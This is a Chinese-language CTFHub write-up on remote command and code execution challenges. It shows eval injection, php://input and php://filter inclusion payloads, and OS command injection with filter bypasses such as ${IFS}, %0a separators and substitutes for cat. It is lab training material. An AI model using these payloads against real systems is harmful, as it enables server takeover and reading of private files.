CTFHUB-WEB-RCE

发布时间 2023-04-02 18:34:11作者: Aidy

RCE      (下面大量试题需要用到火狐的渗透版,提前下载好漏洞上传插件hackbar)

RCE英文全称:remote command/code execute(远程命令/代码执行漏洞)
分为远程命令执行ping和远程代码执行evel。
漏洞出现的原因:没有在输入口做输入处理。
我们常见的路由器、防火墙、入侵检测等设备的web管理界面上
一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。相当于直接操控服务器电脑的cmd命令行!高危漏洞!

 

eval执行

PHP代码显示,要求将命令赋值给cmd然后执行,
1. 先查看一下根目录文件 url后缀添加 /?cmd=system("ls");
!切记最后的分号不可省略!

2. 没有有用的文件。查看上一级的文件夹/?cmd=system("ls /");

3. 打开flag文件发现FLAG, /?cmd=system("cat flag_9759");

文件包含

strpos()的漏洞

strpos函数的定义

strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
结构:int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )

1.先看靶机环境,点击shell会出现页面,然后使用火狐的hackbar来进行postdata的注入

 2.上个目录没有得到想要的,查看上个目录。 ctfhub=system(“ls /”)

3.查看flag    ctfhub=system("cat flag")

php://input

这里先了解一下php://input
php://用来访问各个输入/输出流

php://input是个可以访问请求的原始数据的只读流,可以接收post请求作为输入流的输入,将请求作为PHP代码输入,以达到以post的形式进行输入的目的

1.开始做题,先看一眼靶机环境    点击phpinfo  查看phpinfo,发现以下字段,证明是可以使用php://input的。

2.使用burp suite抓包,发送到repeater中,构造包
将方法修改为POST
目标换成:/?file=php://input
body:<?php system('ls /');?> 查看上一级文件目录,发现flag文件

3.打开flag文件,获得falg      (命令和上面的一样)

读取源代码

 

 1.  使用php://input,发现不管用

 

 远程包含

1. 抓包。使用php代码 <?php system("ls");?>

2.找到flag的文件夹打开   <?php system("cat /flag");?>

3.找到flag

 

php://filter

 

 2.  使用filter将源码通过base64回显。
Payload:http://URL/?file=php://filter/read=convert.base64-encode/resource=../../../flag

 

 

 3.   使用burp suite解码,得到flag  

4.  不推荐使用此方法,比较麻烦

 

方法二:

 

1.  题目界面就是源代码。代码审计?

 

if ( substr($_GET["file"], 0, 6) === "php://" ) #file里面第0个到第6个字符必须等于 php:// 。

2.  题目要求必须使用php://。而且flag就在/flag里。

这里引入另一个php伪协议。php://filter。上面图片附上了使用方法

3.   直接开始php://filter/resource=/flag    因为我们要找flag关键数据流源所以=/flag   

4.   直接在url后面拼接/?file=php://filter/resource=/flag

5.  直接找出了flag

 

 

 

 

命令注入

题目:
这是一个在线测试网络延迟的平台,路由器中经常会见到。无任何安全措施,尝试获取 flag。

 

linux中命令的链接符号
1.每个命令之间用;隔开
说明:各命令的执行给果,不会影响其它命令的执行。换句话说,各个命令都会执行,但不保证每个命令都执行成功。
2.每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样可以保证所有的命令执行完毕后,执行过程都是成功的。
3.每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后才去执行下一条命令,直到执行成功一条命令为止。
4. | 是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5. & 是后台任务符号。 后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

 

1.  有个输入框,是通过输入框进行注入的   随意输个ip试一试

2.  使用&连接符,连接别的命令试一下,发现也执行了后面的命令,且文件夹下有个php文件  

 

 

 

 3.  试着打开(12.0.0.1 & cat 2189789.php )php文件,发现打不开。

4.  应该是文件中包含特殊字符,使用管道运行base64加密内容,使用命令(ip & cat 2189789.php | base64)

5.  输出了flag的base64加密密文,进行解码,得到flag

过滤cat

靶机环境?

 

 

 

 使用&拼接命令,ls 发现了flag文件,根据代码内容提示,过滤了cat,不能使用cat命令了

linux查看文本的命令
cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文
12.0.0.1 & more flag_1482210209678.php | base64

过滤空格

 

 

 1.  根据提示,过滤了空格,使用<代替空格(这一步也可以用/**/代替空格,但是下一步就不管用了,不知道为啥)
查看文件    命令: ip/**/&/**/ls

2.  得到flag的base64密文
ip|cat<flag_2479931403457425.php|base64

3.  解得flag

过滤目录分隔符

靶机环境

 

 

1.  ls查看文件夹,发现了flag的子文件夹  12.0.0.1;ls
2.  根据提示,不能用/了  12.0.0.1;cd flag_is_here;ls
3.  查看存放flag的文件  12.0.0.1;cd flag_is_here;cat flag_173323177320747.php|base64
4.  最终解码,得到flag

过滤运算符

 

 

 

1.  查看文件    ip;ls

2.  过滤了管道符|,不能再使用了
base64 1.php".这个与  ****|base64是等价的

ip ; base64 flag_27475302269053.php

3.  解得flag

综合过滤练习

 

 

 1.  审计代码,过滤了| & ; cat flag ctfhub 空格

空格可以用${IFS}
cat可以用more
flag可以用正则f***
ctfhub应该用不到
查了一下,在linux下,命令分隔符除了;还有%0a
有了;就可以不用运算符了

2.  因为%0a是url编码,所以一定要输在url中,否则%0a会被再次编码
查看目录

?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
3. 
读取文件的base64

ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0abase64${IFS}f***_16941904629849.php
4.  解得 flag

审计代码,过滤了| & ; cat flag ctfhub 空格